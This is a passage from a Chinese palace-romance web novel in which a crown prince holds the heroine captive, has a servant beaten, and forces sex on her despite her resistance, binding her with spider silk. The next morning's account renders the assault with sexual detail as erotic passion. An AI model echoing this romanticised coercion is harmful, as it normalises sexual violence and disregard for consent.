随侍的小内侍们头也不敢抬,两只眼睛死死地盯着脚底下一双青色、迈着小碎步的靴子。
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余姚来这几日,忽然对自己先前竟然妄想勾引到太子,以为凭借自己的容色与本事,不仅能躲避写谢凭手底下一帮爪牙的搜捕,且自信自己一定能够在权贵之中游刃有余。
果真还是自己太天真了,当初误打误撞招惹了他,现在骑虎难下,受人作践。
余姚心中懊恼。
如今瞧来,这东宫繁花似锦,宛如锦绣天宫,原来有人处便是江湖与算计。
外门忽然被人从外面推开,紧接着内卧门口悬挂的琉璃滚珠帘子人影轻晃,待到听见一声沉重的物体磕碰声,余姚这才反应过来,来人还是那日日苛待、为难她的小丫鬟。
下一瞬,一道傲慢的嗤笑声忽然响起,“余娘子当真是好大的架子。”
余姚冷笑,“好个刁奴,这报本宫可是当朝储君的居处,我是太子殿下的客人,你整日里拿这些糟糠饭菜敷衍我,竟不担心我若是在你的服侍下出点什么事,上面问责么?”
“问责?”杨桂“噗嗤”就笑出声来,她走近床榻,落座在床边一只下细腿圆凳子上,正与余姚平视。
“余娘子,你果然是出身小门小户啊,我且告诉你,在这报本宫中,莫说是你一个小小的侍妾都算不上的玩意儿,便是那手脚不干净的奴才婢子都饿死了不知凡几。你不知道吧,前朝还有一位造反失败的废太子,被皇帝软禁在此,活生生饿死。”
余姚看见杨桂那张雪白红润的脸忽然凑近,一双圆溜溜的眼珠子闪烁着邪恶的光,“余娘子,这地方前朝太子都能饿死,你觉得你算是个什么东西?”
余姚正要反唇相讥,此时房间里忽然响起了一道低沉的男声:“那你又是个什么东西?”
此言一出,原本对峙的两个人同时侧头向外看去,只见到不知从何时开始,内门外竟然站着一个高大、挺拔的身影。
窗扉处糊的是玻璃纸,清亮的光照径直照入,落在珠帘外男人身上的绯袍上,衬得那上头的颜色,愈发鲜艳明亮。
绯袍、玉带、莲鹤金翅冠,躺着的余姚与坐着的杨桂在心底默念,略一迟疑,此时一只修长的手掌探入撩开了珠帘,刹那间,晶莹剔透的琉璃珠子噼里啪啦一通响,掀开一角,露出一张没有半分温度的脸。
杨桂吓得心脏骤停,她赶忙跪在地上喊道:“奴才……奴才桂儿,给太子殿下请安,殿下千秋。”
站在后面的王振连忙走上前用手接过他珠帘一角,他弓着腰,默默注视自己的青布靴面。
太子缓步走了进来,并未坐下,仅在屋中巡视半圈。
或许因为他实在高大,又或许是这卧居实在太小,太子甫一入内,便有一种极强的压迫感,威迫得人喘不上来气。
太子上前把食盒盖子掀开,一股馊臭味弥漫了整个房间,而后听见重重一声磕碰声。
“好哇,孤竟然不知孤的报本宫里还有你这么一号天不怕地不怕的人物。”太子忽然间将手边的食盒往地上一拂,不知使了多大的力气,木盒跌在地面上碎裂开来,里面的碗筷崩裂,碎瓷片四溅,离得最近的杨桂脸上手上都已划破。
就连余姚也没能幸免,好在她躺着,碎片只弹了一下她的背,但也疼得不轻。
杨桂还要说些什么,太子已冷声道:“王振,将这个不知尊卑的奴才拖下去教训,不许轻饶。”
王振忙不迭冲他两个徒孙一瞧,嘴一努,外面侍立的徒孙十分有眼力劲儿地弓身上前,一个个都力大无穷,一人拽着一条胳膊向后面反剪,像是押解犯人。
那杨桂将要被拖拽出去的时候,大哭大叫,吵得人耳朵眼疼。
太子厌恶蹙眉。
王振不动声色打量主子的神情,待瞥见那紧蹙的眉时,原本还惴惴不安的心顿时凉了半截。
他赶忙出去,掏出夹在咯吱窝里的拂尘柄往两个小徒孙头上敲,“小兔崽子,做事就这样轻浮!”
两个徒孙对视一眼,一人从下边靴子里翻出来什么东西,直接塞进了手底下那人嘴里,悄没声地拖死狗一般拖了出去。
没有了哭叫声,屋子里边一时之间彻底静谧起来,两个人相对无言。
没想到最先出声音的会是太子,“我给你出气了,你怎么还不高兴?”
余姚原本保持着趴俯的姿势,但适才那连日来磋磨她的刁钻婢子被拖走时,她就默默换成了背对着人的侧躺姿势,完全就是一副不愿意交流的姿态。
那刁钻奴才欺生,她倒霉遭难,余姚心里自然是欢喜的,但她攥紧了手,又放开,问道:“我怎么有这么大的权利随意打杀别人,这分明是你自己造的孽,凭什么赖在我身上?”
太子搁放桌子上的手指原是按着韵律在桌面上敲击,话音刚落,节奏骤停,整个室内安静得可怕。
“余氏,你自己一个人不怕死,难道连你身边的人也早安顿好了,所以才敢同孤这样说话?”
余姚心中烦躁不堪,一听见面前此人用别人来威胁自己,更别说,他那一声“余氏”竟让她有一种幻视谢凭的感觉。
更别说自己才出了龙潭,这又入了虎穴。
她挣扎着坐起身来,两个人隔着床帐对视。
帐外人见光影流转,落到了床帐上,照得那帐子上百蝶穿花纹样流光溢彩,内里窈窕纤薄的身影宛如折枝花一样,令人忍不住生怜。
帐内人见外面的男人人面兽心,卑劣无耻。
正在二人对峙期间,沉寂的室内空间里,忽然传出了一道几不可闻的细微声音。
那声音还在此起彼伏叫着,余姚按住自己的腹部,希望能遮盖肚子发出的声音。
床帐外面的男人轻轻挑眉,淡漠的眼眸里闪过一丝玩味。
太子唤了一声:“王振。”
话音刚落下,外门立即掀开了一条光亮的缝隙,闪进来一个浑圆的身影。
“奴才在。”
太子忍住额头一跳又一跳的青筋,冷声吩咐人将房间里收拾干净,又命人将左右房间收拾出来,最后才叫摆上膳食。
余姚呆坐床上,看着床帐外面的人忙碌收拾起来。
太子看见她一动不动,讥道:“怎么,余娘子难道要孤亲自去请你下来不成?”
余姚想起上一回他“请人”的手段,不由打了个寒颤,她连忙拂开床帐想下来,没成想自己多日来未曾进食,骤然起身自然引得眼前黑影交叠,差点从床榻上滚落下来。
就在紧要处时,不知从何处伸出来一只手臂挡在了她滚下来的地方。
没有感受到预想中的疼痛,余姚心底里料想或许是哪一位好心的内侍不忍见自己摔下去,正要出口道谢。
一抬眼,忽然就对上了一张威严俊朗的脸,凉薄精致的眼睛里黑亮得吓人。
余姚感觉自己搭在他水红暗沉的官袍上的手掌仿佛灼烧起来,她像是躲避毒蛇一般想要将自己的手掌撤回来。
有人却不许,他倏然站起身,两只精壮的手臂分别穿过了她的后背与膝下,余姚觉得自己一下子从平底被人举到了高空,心脏狠狠地跳动。
她畏惧他胸膛衣裳处那只正面盘坐着的四爪龙蟒,金银二色交织直将龙蟒的双目绣得栩栩如生,分外威严可怖。
时近六月夏至节气,身上衣衫渐
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薄,二人挨得无比接近,太子自然察觉到怀中的人在不停颤抖。
他故意松了松放在她膝盖下方的手臂,她察觉自己要掉下去,出于生存本能,直接用两只手臂环住了离得最近的某人脖子。
太子如愿,唇角轻勾。
余姚被他抱着走到了东侧的屋子里,大圆桌上已经摆满了四十余道菜色,山珍海味,难以细数。
余姚鼻尖轻轻颤动,她被太子放下,按坐在椅子上。
太子见她不动筷,不耐烦问:“不是饿了吗?怎么不吃?”
这幅模样跟初见时的清风明月,那可真是相差甚远了。
余姚忍不住在心底腹诽道,自己这眼睛也不知当初是瞎了吗?此人可有半点清风明月、温润公子的模样吗?
一边想,余姚一边捡起筷子,吃了几道软乎菜色,肚子里终于有东西垫吧了两下。
太子淡淡打量起眼前人来,几日不见,她消瘦了许多,却是王振那狗奴才试探他心意搞出来的事,待会子事毕了,他定不会轻饶了那奴才。
太子见她肤白胜雪,鹅蛋脸上骨肉匀称纤细,眉弯鼻挺,唇舌粉白,恍如花妖成人一般。
他喉头微微滚动,某处传来异样,只是面上没有显露出半分。
余姚缓缓用完了这饭,碗里的鱼肉快被她用筷子戳成了筛子,但她还是偶尔夹起来一块芝麻大小的鱼肉往嘴里含,她一边瞧向窗外,只见天色向晚,淡黄橙红交织的天幕上略过一群飞燕。
太子一口没吃,就等着某人吃饱了,好吃某人。
只是等了许久,不见她落筷,太子宛如一只等待捕猎的猎豹,于暗处匍匐、等待。
余姚再也吃不下,她手中筷子一落,太子便握住了那双急着欲逃离的手。
入手柔若无骨,却带着一股透凉的触感,这感觉就像是手里抓住了一块柔软的冷玉。
太子问:“吃饱了?”
余姚数次挣扎都没能把自己的手掌解救出来。
她连忙说:“外面天色已晚,殿下还是去别......”
这句话没有说出口,余姚却真真正正对上太子阴郁的眸子,对于接下来可能会发生的事,她的心尖莫名就像是被什么东西蛰了一下。
太子微微抬首,看向她的目光波光潋滟,宛如一片漆黑深沉海水,浪潮翻滚。
余姚被他仿佛要吃人的目光威慑到了,心里一跳,她说出口的话差点就咬中了自己的舌头。
“天黑了,冷。”
太子目光流转,将正呆坐着的某人抄起,大步流星,“不怕,有孤陪着你,免你深闺寂寞。”
余姚心中懊恼,她分明要说的是,以‘天黑了’的名头,行催促他离开之实。
但她正要张嘴解释之际,忽然就被人堵住嘴,她发疯挣扎,用力咬破对方探进来的舌头。
下一瞬,原本托着她的人忽然松开了手,余姚忽然就感觉到一阵天旋地转,天和地就像是逆转了一般。
余姚爬坐起来,目光触及眼前的男人正用两只手缓缓解着脖子上的圆领扣,很快便解开衣袍,露出精壮的上身。
余姚忽然手脚并用向后撤着,一直挤到了床榻的内里,再也无路可退。
她望向了适才爬过来时,手底温热的触感,目光落在了那块柔软的布料上,一愣,唇角却先她一步露出了嘲讽的笑意。
太子薄薄的眼皮一撩,一切尽收眼底,这还有什么不明白的?
在她妄想逃离他身侧时,竟大放厥词:“我已非完璧!”
太子一只手捻起什么东西,余姚却感知到了,这是上一回他控制她的东西,细如丝线!
这还是人吗?
太子见她脸色渐白,仿若娇花枯败,伸手抚上了她颤抖的唇:“哆嗦什么?孤不吃人。”
余姚发不出声,只能眼睁睁看着太子抬手一拂,床帐落下,外界红烛未灭,帐内火光融融,天地颠倒。
32. 032
报本宫里,巡夜的老内侍伸手敲了四声梆子,路过树下,惊飞了枝头上啊啊啊的乌鸦,只留下了颤抖不已的茶花树。
内寝两只儿臂粗的红烛已经如泪融化,滴落在金银错掐丝莲花灯架上。灯焰已熄。
下一瞬床帐被一只修长有力、骨节突出的手掌拂开。
按照祖宗规矩礼制,凡是皇室子弟宠幸女子后,除了发妻,其余妾室、通房就连留床的资格都没有。
本朝法制,皇室当中,唯有皇帝与储君二人有专门的史官记录起居。
报本宫里的起居郎就守在东侧间中,等待着观看太子的神色情绪,毕竟昨夜是太子殿下的初夜,即使是年逾四十的起居郎,也忍不住在心底猜想太子的神情。
起居郎看着笔下的文字,会心一笑。
仅着单衣的太子回眸看了一眼床榻上的人,床帐被子里仅隆起细细的一条,美人背对,露在外面的蝴蝶骨精致、纤薄。
想起昨日抵死缠绵,那样的紧致感,只能用许多年某朝代的诗人在文中所说:“初极狭,才通人,复行数十步,豁然开朗......“
想到这感觉,太子竟怀念起床榻上的温暖、滑腻起来。
活了十八岁,终于理解了“从此君王不早朝”的感觉。
只是,他的目光忽然就落到了床榻上,揉成一团的白色帕子上,上面有黄色、白色,唯独没有红色。
太子眼眸一暗,适才微微挑起的唇角就像是历经了一场疾风骤雨后,衰败不堪的花。
他走近床榻,将那团东西捏起来,闻见了一股难以言明的气味,他的,她的,他们的。
手臂上的血液宛如一条条贪婪的赤蛇向下流淌,滴落在雪白的帕子上,开出了一朵又一朵的‘梅花’。
太子将手中的帕子往床上一扔,像一块没人要的破布片一般,他将床帐合拢,不叫露出半丝光来。
太子摇了摇铃,紧接着敲门声响起,外面传来了一道纤细、尖锐的嗓音,同时夹杂着男性音色特有的粗粝:“殿下,可要起身?”
“进来。”
头顶双髻的宫婢们鱼贯而入,手中各自捧着不同的东西。
众人伺候太子穿衣束发,临走时,太子瞥见婢子往床边去,他蹙眉喝止,下人们纷纷战战兢兢。
就连王振也夹着尾巴,眼观鼻,鼻观心。
最后,太子戴上金丝折角翼善冠,淡声道:“摆驾。”
王振一摆拂尘,不确定自己是否看错太子脸上的阴翳之色,他赶忙高声尖喊一句:“东宫起身”,而后内侍与侍卫们站位如鱼虾随行。
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朝阳挥洒金翅檐角,武英殿内群臣服饰色彩等级分明,站在高处,只觉万物尽在脚下。
据晏安宫指挥使长殿帅所言,皇帝已经于昨夜亥时回宫,今日是太子代天子统领百官、监察国事的最后一日。
待到散朝,太子赶往晏安宫面见皇帝,几番通传下来,太子终于被天子身边近侍陈胎领进了内殿。
这内殿,太子再熟悉不过了。
只是今日也不知皇帝是怎么着突发奇想了,竟叫人在内寝外用大屏风隔离出来,外面的人却是见不到里面的场景。
太子行九叩六拜礼,朗声问:“陛下,臣恭请陛下圣安,臣请问圣躬安和否?”
内殿却静了许久,才传出一声:“朕躬安。”
太子行完一拜,正要起身,忽听皇帝道:“慢着,太子,朕有政事要斥,你跪听,可有不服?”
是斥,不是问,也不是询。
太子垂眸,面无表情:“臣不敢。”
皇帝嘿嘿一声冷笑:“世上还有什么是你不敢的?朕的好太子?黄河泛滥,捣毁江南五省,你不思延续圣人所言治水良方,为何偏要任用一个连功名都考不上的穷酸落第举子,可是瞧不上朕为你攒下的满朝文武?”
太子攥紧袖子下的手,道:“陛下明察,臣任用之人虽文学上差强人意,但治水一道颇有心得,何况,十年春秋,江山亦改。何况山川石木乎?臣只是觉得圣贤书中留下的法子沿用经年,一贯只堵不疏,经年累月,无甚见效,黄河一发大水,河床堤坝根本抵挡不住。不如广开言路,与时俱进。”
“好好好,慕容御月你跋扈!你真是好太子,你是觉得朕是冥顽不灵的老古董啦?”皇帝厉声问道。
“臣不敢。”太子心知,皇帝如今老迈,耳根子软,什么猫狗畜生的话都听一耳朵,尤其气量狭小,他心知肚明,此时决不能发作,君臣天堑,只得暂时隐忍。
皇帝冷哼一声,又过了许久,寂静的内寝里传出一声银铃般的笑声来,又轻,又亮。
太子垂眸想些什么,忽然听见皇帝的声音变得低沉起来,“太子退下。”
太子昨日已然成人,心知肚明这是因为什么才发出的声音,他嘴角无声扯了扯,起身道:“臣告退。”
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皇后的登华宫里树上鸟雀不叫人赶,因此雀鸟成群,一片啾鸣声络绎不绝。
正殿中,一个装扮素雅、气度不俗的中年女子问道:“太子,听说你昨夜临幸了一个女子。”
太子笑道:“是。”
皇后笑着说:“你这孩子,在为娘这里还害羞,你可本宫看着长大的孩子。”
太子唇角轻扯,瑞凤眸又亮又清。
皇后将手中的茶盖撇去里面的浮沫,“听说这女子出身卑贱,太子,三月后,你可就要同你表姊成婚了,男子汉大丈夫,一屋不扫,何以扫得天下?”
太子将茶具放下,道:“臣知晓,臣会管教她。”
他又说:“臣今日去给父皇晨省之时,见父皇自离宫回来后,气血好了许多。”
皇后收敛笑意,喝了口茶,“皇帝耽于贵妃美色,呵呵,民间穷酸还效仿前朝诗人赞誉贵妃容貌,说什么回眸一笑百媚生,六宫粉黛无颜色。好极,好极。”
太子扫了一眼,毫无意外瞥见了皇后眼眸一闪而过的怨毒,他装作不曾察觉。
原以为侍奉佛祖就会变得心如止水,没想到女
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人终究是女人,提到丈夫与别的女人在一起,还是会表露出嫉妒。
太子想到另一张倔强的脸庞,若是他将来也能在她的脸上看到这样的神情……
不由变得痴了。
太子悠悠道:“李贵妃娘娘将要临盆,不知后宫当中将要添个弟弟,还是妹妹呢?”
皇后眼底闪过一丝精光,沉声说,“万事勿要担忧,你是本宫唯一的孩子,不管如何,后宫中的事,自有阿娘替你扫除障碍。”
太子起身替皇后斟茶,慢道:“是,有母后在,臣总是放心的。”
太子告退离开时,皇后突然叫住了他,“你身为太子储君,虽然男女敦伦是天经地义,上古有之,但还是需要节制修身才是,莫要效仿皇帝。”
太子眸光闪烁幽幽沉光,说:‘母后教训的是,臣知晓了。’
皇后道,“你自幼勤学苦练,三岁启蒙学文,四岁练武,夏天长痱子,冬天生冻疮,都没有一日懈怠过。你是好孩子,本宫知道。本宫担忧的另有其人,你昨日首次成人,那女子出身卑贱,若是诱导你误入歧途,岂不是带累了你,不如叫我身边的嬷嬷去,替你教导一番,也省得你被这卑贱女子蒙蔽。”
太子说:“臣会管教她。”
皇后脸上笑意不变,只是眼眸中冰冷了许多,良久,她道:“去吧。“
太子走出登华宫,外面太阳升起,王振缩在屋檐下头,挨着墙,一见太子出来,颠颠儿地跑了过去。
正要奉承几句,忽然瞥见他脸上一丝笑意也无,顿时活像是一只被人掐住颈的肥鸭子,憋得胖脸通红。
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太子前脚刚走,礼佛堂里,皇后跟身边的心腹王尚宫说,“真是长大了,太子如今都能为了一个女子,与本宫如此辩驳。”
王尚宫从小在她身边,自她十四岁那年离家入宫直到现在,王尚宫笑道:“怎么会?太子殿下自小就在您身边养大,天家情分本就单薄,就算是后宫中的亲生母子,也亲不过您与太子的关系了。”
皇后跪在佛前,手里接过三炷香,“你说,倘若太子将来有一日,若是知晓,本宫就是杀害他生母之人,会怎样?”
王尚宫一愣,复一声轻笑说:“还能怎样?娘娘看中了那卑贱女子的孩子,对他既有抚养之恩,又有栽培之义,太子殿下孝敬您还来不及,怎么会怨恨您?”
皇后思索片刻。
王尚宫又说:“朝堂之中李氏一族,因李贵妃受宠怀有龙嗣,当真是后生可畏,青云直上,地位日转千阶啊。”
皇后冷笑,“李氏不过一帮子水匪草寇出身的破落户,有什么值得忌惮的。”
王宫人又说:“贵妃轻狂,曾说过,若是将来她生下皇子,这大曌江山究竟是谁来坐,还真不得而知。”
皇后勾起唇,静静将手中三柱红灰明灭的燃香插进了软硬适中的香灰堆里,闭上眼念了声佛号:“阿弥陀佛,既然如此,那就骑驴看唱本——走着瞧便是。”
王宫人低头,勾起唇角,“是。”
33. 033
余姚醒来时,是被窗外的鸟雀啾鸣声吵醒的。
腰间的刺痛感觉就像是瘟疫一样蔓延开来,她自从那日见识过他仅用一根透明的雪蛛丝,就能像神话鬼怪本子里的魔物一般控制人的行动。
昨晚上实在不该惹怒他的,余姚被雪蛛丝捆住了四肢,门户大开,仿若一颗被剥开外界粗粝裂纹的果壳,露出了晶莹剔透的荔枝果肉......
记忆中水边码头处,那些未着寸缕的渔夫们用趁手的利刃直接划开了砧板上胖头鱼嫩白的腹,赤手从鱼肚子里来回扯出五脏六腑,原本窄小的口子被撑大,渔夫毫不留情,重重探入挖出鱼儿内脏(审核大大,这真的是在说杀鱼啊)
娘子不是初破,但郎君却在这方面经验欠缺,她真不该看轻,只一回,她感觉自己的胃都像是要从嘴里吐出来一般。
她不愿在太子面前示弱。
但太子显然是极其聪颖之人,从一开始生疏,到后来轻车熟路,甚至越发熟练。
不知究竟是几次,余姚就像砧板上的鱼,被翻来覆去地绞弄,酥麻感仿佛一条随棍而上的毒蛇,一步步攀爬至她的头顶,而后凶狠地一口吞掉了令它垂涎欲滴的红色果子。
-----------------
余姚一动弹,就感觉到有什么温热的东西流淌了出来,黏腻无比。
她伸手拉开了床帐,久不见光的眼睛果然被窗外投进来的刺目光线闪到了,她伸手去遮挡,一低头就看清楚了锁骨上下的红痕,深红浅红,遍地开花。
身体仿佛还残留着昨日如潮水般起伏的感觉,余姚涨红了脸,就在神情青白转换之间,忽然六叶小紫檀叶屏风黑影一闪,内门里的水晶珠帘噼里啪啦的撞击声传来。
余姚还没有反应过来,三四个年轻鲜嫩、身着统一服饰的小宫女便已站成一排,她们放下手中的东西,行了三个磕头礼。
“奴才们恭贺淑女服侍太子殿下,祝愿淑女往后步步高升,荣华富贵。”
余姚一愣,她看见地上纤瘦的四道身影,想起了自己少年时在刘家大院里,鸨母的手底下度过了一段宛如猫狗的日子,她心中一软,说:“起来吧。多谢你们,但说什么步步高升,荣华富贵我却是万万不敢承受的。”
那些小宫女们听闻这话,虽然依言起身,但彼此之间面面相觑,终究是没有一个人敢顺着她的话往下接。
冤有头,债有主,余姚并不愿意同几个小丫鬟们为难,东侧间有婆子们提前预备下的浴汤,她坚持不要小宫女们服侍沐浴,自己强忍着不适搓洗干净,穿衣时对着房间一面澄黄色的落地镜,她眼见镜中人身体痕迹遍布,仿若一张雪白的宣纸上浸染了深浅不一的春意。
余姚冷着脸穿衣,那几个小宫女就在门口等候着她出来,等她出来以后便要替她梳头、装扮,还拿出一件嫩绿色的窄袖无花的宫装。
本朝的开国太祖曾规定,崇黄、红色,因此黄色成为了君王与其直系亲属的专属服饰。
红色分正红色与品红,在本朝初期仍旧只有皇后能着正红,后宫众人次之,只能穿一些隶属于红色系的颜色,用以区分妻妾等级之分。
后来这位出身民间的“大脚皇后”进谏太祖,使得女子们在自己一生中最重要的日子里能够穿着凤冠霞帔风风光光嫁给郎君。
只是这样的殊荣,只属于良家女子,妓子、侍妾、通房、戏子之流同属于贱籍,只能着青绿为主。
前世今生,余姚记忆中的自己好像一直穿着这样的颜色,在刘家大院是,在谢凭身边是,如今在太子身边也是。
她望着着妆台镜子中的宫装冷笑,道:“我不穿这颜色的衣裳,拿远点。”
身后托着衣裳的小宫女“噗通”一声跪了下来,一边瑟瑟发抖地求饶。
余姚感觉这报本宫里的所有人都是这样,膝盖软得不像话,遇见一丁点凄风苦雨就蔫了。
可是,自己还不如她们,想到此处,余姚忽然后悔当初的自己轻举妄动了,脑子发昏了,才想出来勾引并利用太子为自己避难的昏招。
直到余姚重新换上了自己穿到报本宫里来的那件海棠红的衣裳,待她妆洗完毕,整座院子里的宫女与内侍齐齐汇聚在正堂里,众人对着余姚恭敬拜下,齐声重复了适才伺候梳洗的小宫女们恭贺的话。
余姚精神不好,头脑恍惚,这时,又一个身着湖水绿的小内侍替她圆了话。
后来众人依次退下,那小内侍精乖留了下来,堂内仅剩下他们二人时,余姚问:“公公贵姓?“
小内侍惶恐地跪在地上磕了几个头,说:“罪过,奴才草芥一样的人,回淑女的话,奴才姓何,贱名一个亮。”
“怎么不见王公公?”她问。
余姚原是想找王振问一问春花的下落,先前没人理会的日子,她也日日问那个杨桂,得到的总是不耐烦与谩骂。
本来昨日就该直接问太子要人,但昨夜她一直处于惊恐之中,自身尚且惶恐受欺,更遑论问及他人?
何亮搔搔头,说:“干爹得了殿下的赏,如今正卧在床上,日日感念殿下的恩情,也顺便遥祝淑女昨夜得侍殿下。各人尽好自己的本分,日后淑女的好福气自然在后头呢。”
余姚不耐烦听这些话,原也没打算回答,正要叫他退下的时候,忽然负责看守院门的婆子走进来,说是皇宫里来了嬷嬷。
这是不见也不成了,但余姚也不惧,人都是一颗头颅两只眼,大不了不活了,还不成吗?
她淡声说:“请进来。”
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婆子出门没一会儿,走进来一个头戴高帽、身着檀褐色宫装的中年女子,面容威肃不可冒犯。
她一进门,微微抬头打量着座上的余姚,眼中的挑剔几乎要满溢出来。肃然道:“我乃本朝后宫五品尚仪,淑女虽近日来得到太子殿下的宠幸,但也并没有获得丝毫位份,与这宫中所有宫娥无异,淑女为何见我不拜?”
余姚见她以权势相逼,心中冷笑,自己真是聪明反被聪明误。先前在谢凭的圈养下,她虽身份低微、为人轻视,但行动尚且自由;如今身处这华贵牢笼,无名无分,宛如权贵手掌中连啼叫都受人控制的雀鸟。
想到这里,那五品尚仪见余姚对自己的问话毫无理会,心中不快。云京玉阙城自古以来就有拜高踩低的规矩,本朝太祖皇后虽出身民间,却见识广博,在前朝士大夫为尊的背景下,力谏太祖在后宫设置女官,并令她们学文识字。
后宫中的女官虽然没有从服侍皇室的奴仆性质中剥离出来,但有官阶傍身,前朝后宫哪个有头有脸的人不给几分颜面呢?
那尚仪在后宫中习惯了被底下人奉承,还真没见过像余姚这样的人,美则美矣,却浑似个木头美人,不论她如何出言激将,余姚始终不发一言,不表一态。
尚仪嘴上说的凶恶,暗地里心知她是太子身边之人,虽无位分,但人生哪里就能轻易预料。
若是这女子他日能有幸为太子诞下一男半女,说不得母凭子贵,就青云直上,日转千阶。
俗话说的好,做人留一线,日后好相见。
尚仪想到此处,脸上的态度也变得缓和许多,不论这女子是个怎样的木头美人,尚仪忍下了心中不耐,将一些基础礼仪尽数传授。
“淑女,你可看懂了?”尚仪如此问道。
余姚目光轻落,静静看着尚仪,一言不发。
尚仪原就没对她抱什么期待,只是终究对此人喜欢不起来,尚仪强忍憋气,最后道了声“既如此,今日便罢了,淑女天生丽质,聪明无比,奴才可
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不敢教导。”
尚仪说完便拂袖而去,余姚这才动了动,视线望向门口。
说什么天生丽质,聪明无比,又自称奴才,却无一句不是在嘲讽她。
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天际擦黑,一轮蛾眉新月悬挂半空。
报本宫的正门依次开启,一道身着绯色圆领袍的高大身影在两个提灯内侍前行走。
身后是两个身材劲瘦、鹰视虎步的侍卫,再之后亦有各自手中拿着别的东西的小内侍。
隔着透亮琉璃灯罩的光终于从流动转为停驻在某一处。
太子看了一眼牌匾上的“夕颜”二字,淡淡道:“叫门。”
应声的内侍是个瘦长身条的模样,细细弯弯的眉眼看起来颇为阴柔。
内侍敲了许久的门,里面守门的婆子打开了门,太子的目光淡淡落在面前几个衣鬓凌乱的婆子们身上,那一瞬间,婆子们觉得喉咙一紧。
那起头的内侍瞥了一眼太子脸上的神情,便垂下眼眸走上前去问了几个问题,婆子们据实禀告。
太子的脸色越发黑沉,提脚就向主院里去,身后那些人都急忙迈开腿一齐紧跟上。
只不过越是往内里走,这太子殿下的步伐便越是大,几乎难以紧跟。
终于来到了主门处,只是大门已紧锁,里面连一丝灯烛光亮都不曾透露出来。
众人见状,齐刷刷想到这门是从内里锁上的,从外面打不开。
众人在脑海中纠结了好一会儿,接着只听一声破门声,连忙抬眼去瞧,只见太子已经走入了残破的门内。
太子今日下朝早,但筵讲的主课教师是本朝至今尚存的三朝元老、帝王师崔巍,这位是出了名的严师,太子今夜赶来,原就是想起今晨枕边那一抹如同海棠娇怯绽放的人。
没想到一腔热情竟被冷水浇得面目全非。
“殿下?奴才拜见殿下......”卧间守夜的丫鬟被一阵走路带过的疾风惊醒,她连忙伏在地上跪拜,但眼前一晃而过的身影没有丝毫停留。
太子一入内室,借着清冷的月光瞧见床帐内被褥当中拱起细细一条。
不知为何,原本一颗躁动的心忽然便沉寂了下来。
他走近床榻,静静凝视着那一抹身影,直到眼眸一转,逐渐幽深锐利。
竟没睡?
太子走近,在听见一道细微的哭声时,伸手欲去撩开床帐的手忽然一迟疑,他眼底怒火愈发炽烈。
她为什么而哭?
可是因为她竟然给他表演一出什么“身在曹营,心在汉”的戏码么?
另一头,余姚心中忧郁,身体上的疼痛尚且可以忍受,但内心的懊悔比蘸了盐水的鞭子还要厉害。
她拒绝了丫鬟们提出的守夜提议,自己一个人缩在角落,却哭了起来。
“你在为谁哭泣?”身后忽然传出来这样一道声响,骇得人心头一跳。
余姚被这一声惊得脖子间的青筋狠狠跳动,她疑心自己是否听错了,连忙转头向身后看去。
果不其然,身后果真站着一个高大、挺拔的身影,此刻宛如黑夜中的狩猎者,正在虎视眈眈地盯着她。
太子见到一张可怜兮兮的脸,心中的寒意更甚,更加确信自己适才的猜想。
她果真是悲伤难过的,联想到她曾说过强迫她的第一个男人只是一个年逾古稀的老翁,难不成她是在遗憾自己未能替此人守住身子吗?
想到此处,太子心中更是怒不可遏,然而他面色平静,唯有袖下的手掌紧握成拳,轮廓凌厉鲜明的骨节泛着白。
太子沉声问:“余氏,但凡你没聋没瞎,都应该知道,孤自小就受帝王师的教诲指导,钱权双收,你跟着孤,难道不比跟着欺你、辱你的糟老头子强吗?”
34. [锁] [此章节已锁]
余姚听见太子的话,心中冷笑,便直接道:“你们都是一样的,没有区别,无论是他的触碰,还是你触碰,都让我恶心胆寒。”
太子眼眸阴鸷,伸手一抓,竟然直接将面前的床帐直接撕开来。
他咬牙怒斥:“余氏,你狂妄!竟敢将孤与那下贱人物做比较。”
余姚早就将生死置之度外,她最厌烦这样争执,只觉得自己怎么会眼瞎至此?
分明初见的时候,他给她的印象分明就是一个怜贫惜弱的温润公子,如今却如何变成了这样?
她没回答,背对着他。
这样无所谓的回避态度,莫名令太子愈发不满起来。
期间他屡次想暴起,让她带着她的婢子滚!
他自幼早慧,且心智之坚定远超过其他兄弟、伴读,不论文武都比他们领悟得早,每一件事情上都拼尽全力去做,他坚信这世上没有权利解决不了的事情,若是有,那不妨思考一下,是不是自己手上的权利太少了。
太子有自己的骄傲与坚持,岂能任由眼前这女子肆意侮辱践踏?
可恨的是,期间他张了几次嘴,但那些让她滚的话,却如何也说不出口。
“起来用饭。”太子压下想要挑刺的怒火,冷声道。
余姚差点以为自己耳朵出了问题,她下意识回头,眼中满是疑惑。
太子看清楚她眼眸中的疑惑,只得重复道“起来。”
她愣住,便是在这愣神之际,太子忽然动身将适才被撕裂的床帐撩开,比男子宽厚的胸膛更早到来的是他身上那股似甜非甜、似幻非幻的冷香。
余姚立即伸手去挡,两只手掌却直接抵在了一块十分紧实、奋张的皮肤上,下面是扑通扑通的跳动声。
余姚还要挣扎,太子拥着怀中仿佛羽毛一样轻盈纤细完宛如花苞的人,他居高临下的垂眸,看见了她松松挽就的发髻下一截纤细白嫩的颈子,动作间还有莹莹香传来,馥郁清香。
太子满意地用手臂掂了掂手中的人,这茶花硝是千金难得的海货,就算是皇宫里,每年也只有三瓶的分量。
宫中有定例,一般是皇后一瓶,李贵妃一瓶,太子一瓶。
“难道你连你身边那个小丫鬟都不管了吗?”一道阴沉的声音从头顶传来,余姚原本挣扎的动作完全停下来。
她被他抱着走到了西侧间,房间里已经摆上了许多饭菜。
余姚被他放在座位上,她没有伸手用饭的意思,太子挑眉,这是要闹绝食了?
他淡淡开口,“余氏,你好大的骨气,但孤劝你,识时务者为俊杰。你自己不愿用饭,莫非也要将你那个丫鬟也饿死么?”
余姚听他说完这话,忽然反应过来,这狗太子竟然又在用春花威胁她。
她心中憋住一口气,那气上不去也下不来。她前世与今生的年纪加起来接近半百,只不过终究受限于眼界。
余姚前世遇见为权利与位份中最拔尖的人便是谢凭,她曾以为世界上最可恶之人便是谢凭,现在看来似乎还有超越他的人。
朱门酒肉臭,路有冻死骨【1】。
无论朝代如何更迭,这世上总会有少数人凌驾于大多数人仰望不及的顶端,他们通过政治、经济统治掌控大多数人。
在这些人眼中,政治法律从来只是他们手中一把趁手的刀具,什么“王子犯法与庶民同罪”的话,无权无势的人听听就是,听完了,这些话就像是投石入水,风过无痕。
余姚想到自己重活一世,可算是彻底瞎了眼,如今这般,人总是不得自由,还要受旁人的欺辱。
想到伤心处,她眼眶里的泪珠直打滚。
